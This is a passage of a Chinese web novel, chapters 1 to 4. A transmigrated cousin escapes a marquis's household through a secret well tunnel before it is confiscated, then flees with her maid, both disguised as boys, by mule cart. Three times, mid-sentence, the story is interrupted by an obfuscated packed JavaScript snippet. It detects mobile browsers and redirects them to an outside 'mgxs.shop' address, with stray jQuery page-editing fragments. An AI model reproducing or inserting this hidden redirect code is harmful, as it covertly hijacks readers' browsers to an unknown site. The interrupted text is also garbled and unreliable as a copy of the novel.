《侯府表姑娘乱世逃荒记》
1. 第 1 章
大邺和二年,五月入夏,金陵城人流熙疏,路过东城门过了牌坊,往年喧闹的平恩侯府却略显萧条,朱红门前只挂了两盏灯笼,角门前青衣小厮偷懒打着瞌睡。
去岁关东大旱,秋粮几乎无收,但各地州县官吏依旧催租逼税,苦于苛征暴敛的百姓在一盐商带领下揭竿而起,接连攻克数城,声势浩大往金陵而来。
金陵百姓惶惶不安,朱门达官贵人们却依旧歌舞升平,醉生梦死。
平恩侯府占地足有十余亩,抄手游廊,下接水榭,一座座院落俱都绿竹浓绿,屋檐飞翘,当晚夜深人静,金陵城被漆黑乌沉的云层压住,带着一股山雨欲来的气息,侯府内各院落都熄了灯,沈竹念撩起裙摆拎着从厨房顺来的陶罐、碗跟吃食,借着花园围墙投下的阴影,像只野猫般无声无息拐进朱漆门后的一进小院,踏着碎石小路蜿蜒至廊下,她抬手轻轻叩了两下雕花木门。
“谁?!”守候在内的秋露握着大棒虎视眈眈。
“是我。”
沈竹念压低声音,秋露听出自家姑娘的声音,顿时放下心中警惕,小心翼翼打开门道:“姑娘快进来,这鬼天气瞧着要下雨,一路上冻坏了吧?”
沈竹念快速扫视一下周围的环境,再次确定无人发觉,才推开虚掩的门,闪身进去,悄声开口,“无碍,把这些吃食寻个干净包袱装起来。”
秋露十六七岁的年纪,穿件水绿褙子,梳着丫鬟,应了声,又去取了件蜜色绣兰花的披风,端了盏早就备下的姜糖水过来,“姑娘您先喝口姜汤暖暖身子,若是世道真乱了,身子骨可不能倒。”
今年天气邪性,都初夏时节了,金陵城还时冷时热,晌午头子热辣晒人,到了晚上夜风一吹,冷得人打寒颤。
沈竹念在外头奔走了小半个时辰,全身上下确实没什么热乎气,如今披着披风,一杯冒着热气的姜汤入胃,热气氤氲下愈发显得脸蛋莹白,欺霜赛雪,一张桃花芙蓉面潋滟且媚。
沈竹念喝完姜汤,拧了秋露递来的热帕子擦擦脸,长舒一口气,自壁橱里捧出一只半沉的樟木匣子,里头放着的两百两银票、六片金叶子、十两碎银、一堆铜板、几件做工精致的钗环首饰,这便是她们逃荒路上所有的依仗了。
明明离家带着五千银票,如今……
夜幕深深,外面不知何时吹起了雨风,廊下挂着的灯笼被吹打的东倒西歪,偏僻小院里,沈竹念快速卷起匣子里的银票塞进一根古朴的木簪里,金叶子、值钱钗环缝进贴身衣物,撕下布条紧紧缠住有些汹涌的胸,换上早就备好的粗布短打。
秋露也背着个包袱过来,手里握着把剪刀,沈竹念散下发髻,黑发如瀑坐在铜镜前,冷静道,“动手吧。”
秋露眼眶泛红,却又无能无力,只能含泪把姑娘的齐腰的长发绞掉,沈竹念随后又动手帮秋露绞了头发,看这丫头还眼泪汪汪,不由好笑,”没什么好哭的,比起命来头发值什么。”
秋露呜咽点头,沈竹念说得是心里话,自打她穿过来,这几日总想到梦中原书里侯府抄家流放,她逃到后花园被衙役一刀贯胸的场景,每每梦醒都会惊出一身冷汗。
沈竹念穿的这本书是本男频爽文,男主贺知舟乃当朝泾阳大长公主之孙,京华绝代智勇双全,在乱世中力挽狂澜,终开万年盛世。
原书里贺知舟最大的对手是前朝皇太孙萧承渊,这厮就是个茕茕疯子,面如冠玉但心似蛇蝎,屠尽大邺皇室,最喜欢将人制成灯笼赏玩,最后城破被围,四面杀声震天,箫承渊却立于断梁之下,缓缓勾起唇角,不假思索走进冲天火光中.....
就让人觉得这厮很耐烧。
沈竹念前世是个小有名气的美食博主,后来末世了就跟着末世小队四处找物资,队友个个异能吊炸天,只有她菜鸟一个,遇到丧尸潮最先嘎掉后,一睁眼便成了大邺朝寄居在侯府同名同姓的表姑娘。
好消息:穿成大邺朝小族嫡女,家有良田沃野,田产铺子,不说金尊玉贵,也是养尊处优的米虫。
坏消息:皇帝老儿笃信佛教,朝野动荡,天灾频发,父兄参军在外,她是寄居在侯府里的表姑娘,因为过分娇媚的脸蛋被胁迫嫁给府中吃喝嫖赌三少爷。
更糟糕的是,穿过来的第三天,丰恩侯府就因侯爷贪没军饷而抄家流放,原主就是在抄家仓皇逃跑时一命呜呼。
灾年流放存者寥几,沈竹念一个继表姑娘跟侯府诸人一表三千里,丰恩侯祖上也曾显赫过,现在就剩个空架子。
侯府当家老夫人出自清河崔氏,五姓七望的崔氏,门阀鼎盛时代地位超越皇族,即便如今落寞了,侯府老夫人也自持份高,万万瞧不上青州沈家这小族嫡女。
青州沈家一门武将,沈爹是个大老粗,参军半辈子官至四品中郎将,沈家大哥沈竹白任六品校尉,沈母是商贾女,陪嫁十里红妆,一家三口在雁门关守边关吃沙子,不想原主跟着吃苦,想个法子使了大钱送到侯府。
没想到,丰恩侯府一家子高门显贵,表面上仁义道德,内里脏心烂肺,每月拿着沈家的银子,背后算计着把原主嚼碎吞净,丰恩侯府一门三爷,只丰恩侯爷在当个五品兵部郎中,二爷三爷两个败家子,赌博狎妓,将家产败掉大半。
侯府第三代更是吃喝嫖赌样样精通,其中三少爷为翘楚,偏三少爷是侯府老夫心头肉,对其百般溺爱,导致三少爷留恋风月,不到二十岁患了花柳病,满身脓疮恶心个人。
侯府老夫人悲从中来,为了救下心爱的孙子,不得已替孙子纳沈氏女为妻冲喜,原主为此整日以泪洗面,前几天得了风寒,一病不起芯子换成了沈竹念。
丰恩侯府为了不落人口实,将沈竹念跟秋露软禁在小院中,只待良辰吉日成婚,沈竹念着实恶心那位屁股流
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614732|206050||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脓的三少爷,让她嫁给这种玩意儿,还不如再回去砍丧尸。
尤为关键的是去年中秋后,关东滴雨未下,田地无收,粮食欠收流民四散,连带着金陵城物价飞涨,城东粮铺接连关门,便是最低价的糙米也涨到二十文一斤,城中买不到粮的百姓,被殴打出血,告倒官府,官府粮商蛇鼠一窝,百姓饥肠辘辘,半个月后反叛军会攻破金陵,到时候才是真正的乱世。
乱世之中,只有反派箫承渊大本营临江郡固若金汤,一直到乱世结束也未遭遇战火。
沈竹念塞了银子给厨房花厨娘那里打听到,从金陵到临江郡有两条路,一是走陆路驿道,另一种是经水路江南运河,走陆路几百里路,太平年代普通书生抵达尚需五天,现流民遍地,她跟秋露走走停停,路上规避风险,需要的时间估计更长。
相比之下,水路从金陵渡江后,一路向南,乘客船昼伏夜行,利用夜晚时间航行,也需七到十天才能到达,更何况运河水匪猖獗,她们两个乔装打扮的姑娘家怕是没到临江,就给打劫到河底喂鱼了。
沈竹念思忖两天,手指敲敲窗沿,当机立断:“咱们走陆路,前头托花婆子准备的骡子车可停好了。”
秋露背着包袱连连点头,“备好了,花婆婆家大小子给停在城外五里处杏花村一户农家了。”
这消息让沈竹念心头也轻松了些许,此去临江几百里路,有辆骡子车,双腿终于能暂时歇一歇了,至于为何不回青州沈家,一来青州这次也遭了旱灾,民不聊生下易发生暴乱,轻则遇到灾民重则不堪设想,二者青州离金陵千里,路途遥远危险重重,家人也都不在老家,回去弊大于利。
花婆婆一家都是厚道人,原是侯府厨房的帮佣,前几日一家子攒够钱赎身出府去了。
沈竹念昨夜去厨房翻找,翻出了一大包用油纸包着的烧饼,个个烤得金黄,小半袋米,又寻了两个水皮袋、一摞粗瓷碗、一个陶罐、一罐子粗盐、一小包干辣椒,和一小罐菜籽油,几刀腊肉,用大油纸包了好几层跟两身换洗衣物一同装在包袱里,尽管包袱勒得肩膀疼,主仆俩依旧觉得前路有亮光。
沈竹念抹了调好的汁子,将自己跟秋露仔仔细细涂黑发黄,顿时二人就吃了灰头土脸,粗布麻衣的逃难小子。
雨夜深沉,沈竹念带着秋露脚下生风,行走在漆黑飘雨的侯府中,侯府布局并不繁杂,一炷香后,二人很快找到了原书里隐藏在柴垛井口下的密道。
等二人吃力挪开柴垛,用柴刀撬开松动的石槽,露出一口枯井黑黝黝的洞口“这是当年老侯爷命人修好的暗道,直通城外密林。”
在发现这口枯井下面还有一个洞口的时候,秋露惊讶瞪大眼,觉得自家姑娘简直犹如天人下凡,这般难找的狗洞都找到了。
只是这狗洞洞口黑漆漆的在雨夜中犹如一只张口咆哮的兽,看着就吓人。
2. 第 2 章
“梆梆—”
子时的两道梆声敲碎了寂静,金陵城打更郎胸前挂着竹梆,左手拿一根短棒,右手提着一盏灯笼,在丝丝夜雨中,有节奏地击打竹梆。
沈竹念把背上的大包袱甩到肩后,用带子紧了紧,让包袱贴着背,小心地踩着枯井湿滑的青苔,拉着井辘轳配套的苘麻绳利落滑到井底,这口枯井干涸多年,井底并不潮湿,踩上去土壤略显坚硬,她点亮火折子,往漆黑的密道口小心探去,发现这地方虽窄□□仄,但不失为一条离府的好路。
秋露也顺着绳子滑下来,紧着包袱都不敢大喘气,沈竹念匍匐着身子往前走,扑面而来的空气里混杂着一股长时间不通风、浓烈的霉味儿、夹杂着往口鼻呛的泥土腥臭,好在密道四处有隐密的通风口,青苔覆盖的砖壁上,行走在里面不至于缺氧。
沈竹念仔细检查了一番,没发现其他问题,心中安定下来,对着秋露打了个手势,表示一切安全,二人去上面将之前压在枯井口的柴垛挪回原处,石槽费力拉到枯井口,刚顺着麻绳滑到井底,就听到几道粗哑的男人声音,像是打着火把循声而来。
“大虎,什么声音?”
“你小子胡咧咧个屁,这鬼天气淋老子一身雨,快点巡夜,老子好回去热壶酒喝一盅。”
“好像是马槽那有动静,去看看。”
“八成是猫鼠作祟。”
侯府巡夜的两道身影举着火把脚步声由远而近,凄风骤雨从石槽缝隙透进来阴沉沉的雨气,藏在枯井内的江竹念心跳如擂鼓,秋露更是面色发白,捂着嘴半点不敢出声,就在这时,天边轰隆惊雷炸响,一道刺目的闪电撕裂夜幕,瓢泼大雨倾盆而下,屋顶噼啪作响。
大雨瓢泼,二人淋成落汤鸡,举着的火把瞬间熄灭,只能骂骂咧咧摸黑回前院,雨声凄凄,沈竹念再也不敢耽误,点亮火折子,毫不迟疑带着秋露一头扎进前途未知的漆黑密道,深一脚浅一脚行走,密道通风口有稀疏的雨点砸下来,不多时,二人身上的粗麻布短打湿了大半,肩脖颈儿湿漉漉有种湿冷到骨头的寒气窜来窜去,脚下的布鞋隐隐作痛。
尽管如此她们也不能停下脚步,咬着牙往密道深处走,走累了蜷缩在角落歇歇脚,抬脚继续走,就这么走走停停,不知过了几个时辰,终于在密道洞口缝隙透出郊外田野中的绿,二人眼眸瞬间亮起来。
卯时雨未停,金陵城的寺庙楼阁都被笼罩在雨中,路上行人们撑着油纸伞出门,只见前方呼啸马蹄声踏破了细雨中的宁静,马上的人铁甲围面,后面跟着一队身穿玄色锦衣的禁军,个个腰配长刀,气势凛凛。
街上行人面露骇色,落荒而逃,这是宫中专门干抄家灭门勾当的铁甲军!
这不消停的世道,不知道哪家勋贵要遭殃了!
晨起奉恩侯府里的奴仆婢子起床洒扫,浆洗烹煮,褪去了夜的沉静,整个侯府人仰马翻忙闹起来。
今日是月初,侯府上下都要齐聚荣安堂去给崔老夫人请安,崔老夫人养尊处优一辈子,每日一早都要用一碗糯金丝枣羹燕窝跟四样瑞芳宅的时兴点心。
瑞芳宅的点心价格不菲,仅一小碟荷花酥便要十金,荷花酥花瓣样式,如雪香嫩,入口即化,味道是好,可价格实在太高,偏崔老夫人讲究排场,非瑞芳宅的点心果子不碰,一到夏日荣安堂早就摆上了铜兽竹方炉冰槛,夏日里买冰贵,以往侯府阔气时,每年冬日都要囤积硝石,现在落魄了,哪里有银子闲花。
一早崔老夫人用了燕窝,夏日日头上来了,侯府婢子使端上来几个描花碟子来,里面装着各式各样的糕点果子。
崔老夫人尝了尝又觉得黏腻,对一旁陪嫁的赖妈妈道,“许久未吃荔枝了,今夏府中的荔枝可送来了?”
赖妈妈老脸一抖,暗叫府中穷得都要点卖田铺了,哪还有余银去买荔枝,只得躬身行礼寻了个借口,道本该是要采买的,奈何前日沈家表姑娘闹起来,这才耽搁了,一会儿马上命人去买。
崔老夫人沉了脸,果然是小门小户出来的粗鄙浅薄女子,就是上不得台面,若不是为了旭哥儿,沈家女哪能入得了侯府,她眯着老眼刚要吩咐赖妈妈将沈氏女唤来训诫,铁甲军的铁靴踏碎了芬丰恩侯府的平静。
沉重的朱漆大门被撞开,角门前悬挂的一对红纱笼灯随风摇晃,为首内侍声音尖锐透着冷意,“奉陛下谕,丰恩侯贪没军饷,其心可诛,今查奉旨查抄,府内诸人跪伏待罪,违者定斩不赦!”
内侍的话落下,身后的一行铁甲军手提大刀,个个眼神锐如鹰闯进各院抄家拿人,不多时丰恩侯府内仆妇们哭喊声一片,丫鬟婢子吓得抱成一团,荣安堂的院门“砰”的一声响,满头珠翠的崔老夫人得知抄家流放,嘴唇哆嗦抖如筛糠,只觉这一切都是一场梦,脑中嗡嗡作响,两眼一撅翻了过去,铁甲军统领冷笑一声,毫不客气提着昏迷的老太婆往院中一丢,“去,把值钱的都抄出来,别丢了铁甲军的颜面!”
“遇见不识时务的东西砍了!”
“是!”
两柱香后,丰恩侯府众人脚戴沉重铁链,由一根粗大的麻绳串联起来踉跄前行,侯府三少爷都染上花柳病了还不忘红袖添香,昨夜跟个清白丫头厮混,此刻穿着件穿了件丝绸长衫,脸上流脓水,腿脚发软走在末尾,他后面是鬓松钗迟脸上红肿的侯府四姑娘。
侯府四姑娘捂着脸扫视一圈流放队伍,没发现平日欺侮的沈家狐媚子,心中的不甘妒恨如同洪水决堤一般,不禁大声嚷嚷起来,“沈氏女呢?那贱人怎么不在?她不是最会装可怜吗?凭什么我们侯府遭难,她不跟我们一起流放?”
三少爷闻言也回过头,挠了挠脸上的脓包,跟着之乎者也几句,“正是!沈竹念是我未过门的妻子,夫
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614733|206050||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家遭罪妇人岂有逃脱之理?”
押解队伍前排的铁甲军里传来一声刺耳的嗤笑,那人约莫四十岁上下,身材粗壮,他腰间挎着刀,翻看着手中丰恩侯府的流放名册,“大邺律令夫家获罪,未婚嫁者或拿了休书的女眷不连坐,更不用跟着流放,这位少爷,那位沈家小姐何时嫁你的?”
旁边几个铁甲军也哄笑起来:“一个花柳废物,连未婚妻的名分都没真拿到手,还想拉人家垫背?”
“怎可如此......”
三少爷还想强辩几句,其他侯府众人或是面色麻木或是小声抽泣,哪有心思管他人闲事,铁甲军统领听到喧哗之声,拎着凛凛长刀大步而来,一双眼厉如鹰目,“磨蹭什么!若是再有宵小闹事,给老子吊到马后拖着走!”
三少爷吓得面无人色,膝盖一弯差点儿跪下磕头喊饶命,四姑娘也是花容失色,缩回队伍再也不敢出声。
*
东边的天泛起鱼肚白,郊外密林有条宽阔的河,因昨夜一场雨此刻河面上飘着薄薄的雾气,沈竹念跟秋露躲在一旁探头探脑,已有早起的村妇端着木盆到河边浆洗。
幸好河面雾气缥缈,时而有老农撑一艘渔船,村妇跟老农闲聊几句,并未看到潜行河岸芦苇丛里二人。
沿着芦苇丛走了约莫半柱香,沈竹念回首,金陵城巍峨高大的城楼已相距甚远,此刻日头已高,沈竹念肚子咕噜直叫,唇干舌燥,整个人跟要饭乞丐一般,身旁的秋露比她好不到哪里去,提心吊胆一晚上,只不过都在强撑罢了。
再这样下去,没到杏花村,她们就要累倒了,
沈竹念实在撑不住了,扶着腰有气无力往前看,不远处有处阴凉又隐蔽的柳树林子,方便歇脚也能看清楚路边的情况,扭头对秋露道,“咱们到那边歇歇,吃口干粮再赶路。”
秋露还有些担心,“姑娘,会不会有人来追我们?”
沈竹念摇头,“若是有追兵,前面躲在芦苇丛时,追兵便该骑着马追来了,再者咱们现在乔装打扮,只要当心些就好。”
秋露闻言露出安心笑容,沈竹念亦笑了笑,她这一笑眸光潋滟,吓得秋露这丫头赶紧扭头四处看,生怕路边窜出一伙络腮胡子土匪,相中了自家姑娘,强掳了去当第十八房压寨夫人。
沈竹念懒得搭话,秋露这丫头平日就爱看些霸道土匪爱上落魄小姐的话本子,真是脑回路清奇,自己去河边净手,拍拍包袱掏出个竹编水壶,又掏出包袱里的烧饼跟肉干,跟秋露大快朵颐。
填饱肚子,歇息片刻,主仆俩再次上路,从城门口到杏花村五里土路,没有骡子、没有马车,只能靠两条腿赶路,背上沉重的包袱勒在肩上,硬邦邦的,背一会儿就勒出一道红印子,沈竹念这幅娇生惯养的身子加上灰头土脸的秋露,两只土耗子脚下泥泞走了大半个时辰,总算赶到了杏花村。
3. 第 3 章
杏花村地处金陵近郊,毗邻运河漕道,村里人家除了种水田,也会撑船到河里打鱼或是去码头扛麻袋、贩卖菜鱼,村中家家户米缸有米,即便是灾年,精神面貌也比其他地方好些。
花婆婆所托付的人家是杏花村的里正,里正姓陈,家中有百亩上等水田,女婿在京兆尹当小吏,家中在金陵城中有两家铺子,跟花婆婆是远房亲戚,为人可靠,断不会昧了那辆骡子车。
杏花村口,陈里正早领着自家娘子在家中等着了,沈竹念没走几步路,就瞧见村口站着的陈家长工。
王里正生得个矮精悍,皮肤黝黑,一双小眼睛透着精明之色,他家娘子倒是白净清雅,听说是秀才家的闺女。
陈里正面对灰扑扑的沈竹念二人,面上没有丝毫轻视,拱手寒暄一番,看了沈竹念递过来的信物,当即唤了家中长工去后院前牵了骡子车来。
沈竹念眼前一亮,这是辆半旧的骡子车,拉着的骡子健壮结实,后面的木车干干净净。
她拱手学着大邺儿郎讲话时爽朗口音道,“陈里正,可否试驾一下骡车?”
陈里正饶有兴趣看过来,“后生会驾车?”
“农家儿郎自是会的。”
沈竹念撒起谎来脸不红心不跳,青州沈家的嫡女哪里是什么农家儿郎,不过骡子车她是会赶的。
上辈子跟着小队出去砍丧尸,世道崩塌,有好几次都是赶着骡车撒丫子逃命,沈家是武将之家,原主会骑马,能驾驭骡车或可说得过去。
陈里正点头,沈竹念过去牵过绳子,秋露跟个小尾巴一样立刻跟上去,坐上车辕,看姑娘熟练甩了甩手上的鞭子,骡车哒哒快步跑了起来。
骡子车在清晨的乡道上疾驶,夏日日头高晒,昨夜的泥泞道路干了大半,金陵城乡下好景色,时不时有撑着乌篷船的老农路过,穿上的鱼虾活蹦乱跳,绿油油的水稻田,田里三五农户弯腰劳作,道路阡陌,别有一番乡村风光。
“呀,姑娘那条鱼真肥硕,炖了吃一定香!”
“一行白鹭上青天,不如烧来解肚馋。”
秋露在车辕上摇头晃脑快活要上天,清风略过耳畔,沈竹念也跟着心情雀跃不少,积压在心头的恐慌压抑暂时消失。
试驾完骡车,沈竹念谢过陈里正,把包袱堆在角落,花了铜板向里正娘子买了两床干净粗布棉被、两件防雨用的蓑衣、半袋糙米、小半筐芋头,自柴禾垛抱了稻草来,厚厚地铺了一层。
陈里正娘子面善心软,听闻二人是家中遭难要去外地寻亲,起了恻隐之心连念了几句菩萨保佑。
大邺律令百姓出门探亲行商,需有官府发放的户籍路引,户籍证明出行者乃身家清白的良民,户籍上清楚写着百姓姓名,年甲、籍贯。
路引则是通行证,没有这两样寸步难行。
沈竹念逃出侯府时自然没把户籍路引落下,只不过户籍上她跟秋露都是女子,现在已改成了儿郎,买骡车加改户籍上下打点花费十两银子,这也是托了花婆婆跟陈家女婿的福气。
沈竹念心中明了,若不是有陈家的人情面在,其中花费银两怕是要更多,陈里正娘子临别又送了两尾杀好的鲫鱼,她内心感激,寻了个机会在马厩留下张字条,提醒陈家人乱世将至早谋出路。
忙活完一道,日头已到正午,陈里正家中收拾得清爽明亮,院中草木丰盛,浮着淡淡的兰花香。
杏花村村口,陈里正一家人站在桂花树下,目送着骡车离开。
秋露背着包袱抹眼泪嘀嘀咕咕,里正娘子是好人,里正大伯也是好人……
沈竹念抿唇不语,纵心有不舍也要尽快离开,她能做的都做了,再过八九日,北边的流民就要成群结队抵达金陵城了。
流民之后就是屠城暴戾的起义军,金陵城里各大世家林立,五姓七望关陇八大家,世族主支在都城盘踞,旁系留驻老家。
世家鼎盛几百年,如今摇摇欲坠,这次起义军攻陷金陵,世家各族长会被起义军绑上城墙,亲眼看着族人被屠戮殆尽,金陵护城河麻石上的血污清洗半月仍腥臭扑鼻。
灾民队伍里,并非所有人都还能有辆骡车栖身。更多的流民挑着扁担,背着补丁包袱,条件好点的走上一日尚能拿张杂粮饼子裹腹,条件不好的挖野菜、扒树皮,在河沟子里挖摸鱼摸虾,这玩意儿不顶饿,直到最后白骨露野,易子而食,乱世中,人命贱如草芥,赌什么都不能赌人性。
骡车晃晃悠悠驶上大路,沈竹念想起那场景打了个寒颤,赶紧扬起鞭子让骡子走快点,保住小命要紧。
骡子哼哼两声似是不服气,不服气也不行,骡车走了莫两里地,官道两旁的地势渐渐开阔。
官道上能遇见赶路的行人,有骑马的阔气商贾,多是背着包袱徒步的,看见骡车会多打量两眼,有的艳羡不已,有的目露嫉妒,秋露全当没看见抱着包袱,看姑娘赶车。
一直到落日西斜,路过了个依山旁水的村落,村子里冒着炊烟,村里汉子们从田里归来,裤腿上沾着露水和泥巴,一个个面色不济,走路摇摇晃晃,那是给饿的。
这村子光景可不比杏花村,估计村民一天吃到嘴的糙米粥稀得能照见人影,一家之主都吃不饱,村里其他人可想而知。
沈竹念利落一扬辫子,骡子哼哧喷气四蹄撒开迈腿狂奔,这骡子属犟驴的,不打不行。
天色将暗,骡车行至一片矮林子边上。官道在此处有个岔路口,一条通往金陵城,一条往南边襄走几十里便是襄河码头。
沈竹念略略思考,往林子前往眺望了一会儿,隐约瞧见有个破窝棚,这片林子处在背风的山坳下,有窝棚栖身也算不错。
“今夜就在这儿歇吧。”沈竹念跳下车,活动了一下酸痛的腿脚,秋露跟着下来,四处张望了一圈。
破窝棚以前是养马养骡子的,稻草搭的,打扫下能住人,窝棚外有三面矮丘挡风,头顶一片茂密树林子,下雨也不怕确实是露宿的好地方,不远处还有一条小溪,水声潺潺。
“姑娘这地方挑得好!”秋露欢喜起来,放下包袱去树林里捡树枝,沈竹念把骡子车拴好,喂了水,骡子低头吃草,车里铺了厚厚一层稻草,上面压着两床棉被,包袱堆在角落里,米粮和芋头靠车壁码放齐整,两尾鲫鱼用柳条穿了挂在车篷的横梁上。
沈竹念拎着从侯府小厨房拿来的陶罐、碗筷,蹲在溪流前仔细淘洗干净,洗干净过会儿再用烧开的沸水杀毒,又把两条鲫鱼取下来,这鱼虽是杀好的,但吃之前总归要再洗洗。
窝棚屋顶发黑,挂着些灰扑扑的蛛网,地面铺着一层溪边的芦苇草,还有些骡车上的稻草,天色渐晚,秋露抱着一捆柴回来,打了火折子篝火很快烧起来。
“姑娘,芋头香甜放在粥里吃也香呢!”秋露洗着手下的芋头,忙得额角冒汗,吃。
鲫鱼用树枝穿了架在火上烤,陶罐里咕嘟嘟冒着粥香里里切了几块芋头,沈竹念“嗯”了声,将鱼面烤得焦黄冒油,粥煮得稠糯喷香,两个人喝粥,慢条斯理撕着鱼肉吃,秋露直喊好吃。
胃里那股叫嚣的饥饿感抚平消失,沈竹念挑开树枝拨了拨火堆,火星子噼里啪啦溅起来,从包袱里拿出舆图来仔细研究,火光映得她眼眸明亮,“明天一早赶半天路,咱们就到江宁镇了,去镇上采买些物资跟药品再赶路也不迟。”
“好,我都听姑娘的。”
“以后不能还唤我姑娘了,咱们现在是一对逃难的兄弟,要叫阿兄。”
秋露小鸡啄米点头,这丫头吃饱了嘴巴就没停下过,唠唠叨叨讲了许多话,声音越来越小,最后靠着包袱,裹着棉被,不知不觉睡着了。
沈竹念没有睡。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614734|206050||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她实在是睡不着,坐在火堆旁,心不在焉听夜风穿过林子的声音,远处隐隐约约似有传来什么动静传来,过了许久,才听出是虚惊一场。
沈竹念重新坐下来,坐在草堆上被子拢到肩头,闭着眼数羊。
一只羊,两只羊…
她这一路上尚不安稳,不知道远在雁门关的父母兄长境况如何。
*
雁门关外,前几天杀声震天的边关总算安静下来,自古一将功成万骨枯。
战场上浸满了战士的鲜血,遍地倒下的骸骨夹杂着认不出面目的尸体,天空上盘旋着一群掠夺食物的苍鹰。
一队队将士身穿铠甲在战场上清扫、巡逻,一辆辆载满伤兵的战车滚滚向前,车轱辘发出沉闷的铿锵声。
“老子刀山血海拼出来的战功,平白无故让他人抢了去!真是晦气!”
中郎将军府内,大战负伤的沈竹白闭眸在榻上养神,大嗓门儿的沈父走一路骂一路,沈母端坐在上首的黄花梨木圈椅里,皱皱眉,刚想从榻上起身,见儿子睁开眼,沈竹白一双锐利的黑眸满是血丝,他已一天一夜夜没合眼,刚从战场巡视归来,又撑着精神给往金陵侯府给妹妹写了封家书,才在榻上躺下不久,沈父就嚎着嗓子进来了。
沈母让长子安心养伤,其他事无需操心,沈竹白也是累极了,点点头道,“父亲一向是有什么说什么,母亲言语莫要太犀利。”
沈母笑道,“自是如此,我儿放心。”
自家老匹夫那个榆木脑袋,有些话讲了也是白讲。
沈母依言去了,不知道她跟沈父说了什么,沈父挠挠脑袋,蹲在地上想了好半天总算是不闹了。
长夜漫漫,前路遥远。
翌日一早,沈竹念心底那根弦还紧绷着,睡得不沉,天还未亮窸窸窣窣穿好衣服,换了身洗得发白的粗麻衣,但头发梳得比前几日更整齐些,
骡车继续往前走,天边的云层越来越厚,风也越来越大,吹得路边哗哗作响。几滴雨点落下来,砸在车篷上,发出“啪啪”的声响。秋露连忙把蓑衣给沈竹念披上。
“姑娘,下雨了。”
沈竹念抬头看了看天,可不是,灰蒙蒙乌漆漆的,雨点越来越密,打在脸上凉飕飕的,路边没有车马的行人纷纷找地方躲避,有的钻到附近破庙里,有的挤在树下,更多的是把包袱顶在头上,头铁不怕淋雨,冒着雨继续赶路。
雨势渐大,骡子车在漫天风雨中疾驰,总算抵达江宁镇,江宁镇兵卒散漫,沈竹念出示了盖着官印的路引,守门的兵卒略一检查,挥挥手放行了。
骡子车进了镇子,沈竹念寻了家开在瓦市角门的客栈,客栈门口有位老伯支了个面摊,撑着伞营业,褪了色的粗陶碗里一把银丝面卧在清汤里,看着味道不错。
腹内空空的沈竹念点了两碗肉丝面,刚跟秋露拿起筷箸,天空灰蒙蒙一片,雨珠滴滴答答落下来,一阵急促的马蹄声而来,一群骑兵举着火把沿河案搜查,这几个大汉手中都拿着泛着冷光的长刀,刀尖映照着火光。
其中一个大汉揣着个路过的老汉问道,“老头儿,有没有看见个二十出头,穿锦缎束冠的玉面小白脸?”
老汉哆嗦着开口,“老朽老眼昏花,没看见什么可疑男子。”
“没用的老东西!”
大汉戾气十足,抬脚就把老汉踹翻在雨地里,周围胆小的小娘子尖叫一声。
街上行人更是胆战心惊。
那大汉一脸阴沉的对手下的随从道,“那小白脸肯定没跑远,给老子一家一户的砸门搜,路边的船也不许放过,老子就不信,翻遍整条街还找不出来!”
秋露眼瞅着不对,“姑…阿兄,这伙人路上人都躲着他们,咱也躲躲吧。”
沈竹念点头,这帮人来者不善,眉眼透着凶恶,看着就不似好人。
4. 第 4 章
乱世将至,哪怕这群骑兵莽汉只是例行搜人,可漕运码头上三教九流船舶往来,龙蛇混杂。
沈竹念可不想多生事端,趁着身旁几个粗麻短褐的汉子捧着面碗看热闹,她飞快吃完清汤面,不动声色拉了拉还有些发愣的秋露:“阿弟下雨了,回客栈。”
秋露秒懂,一口气喝光碗里的汤,嘟囔着不能浪费起身,抱着包袱佝偻着背,二人佯装出乡下小子没见识的怯懦惊恐模样,缩手缩脚往客栈走。
江宁镇码头火光冲天,岸边商贩四散收摊,客栈后院马厩石槽被缰绳磨得溜光,骡子车早被机灵的店小二牵去后院。
客栈老掌柜对此习以为常,只拨了两下算盘珠子,见有人上门,立刻堆笑热络道:“客官住店?后院有空房,甲乙房满了,丙字房一晚上四十文、大通铺一人十八文一晚,吃喝自理,热水另加五文。”
沈竹念听得肉疼,寻常年月住店哪有这么贵,“要间僻静的丙房,热水送上来。”
秋露小心从包袱里掏出一串铜钱,数出四十五文,掌柜从墙上摘了把黄铜钥匙,“后院右拐上楼梯,小二给客官带路,热水一会儿送到。”
“好嘞,客官楼上请。”
沈竹念接过钥匙,拉着秋露快步缀在店小二身后,客栈天井里种着棵硕大的桂花树,雨水顺着屋檐淌下来,楼梯在廊下,雨天灰暗,店小二举着盏油灯,把木阶照得半明半暗。
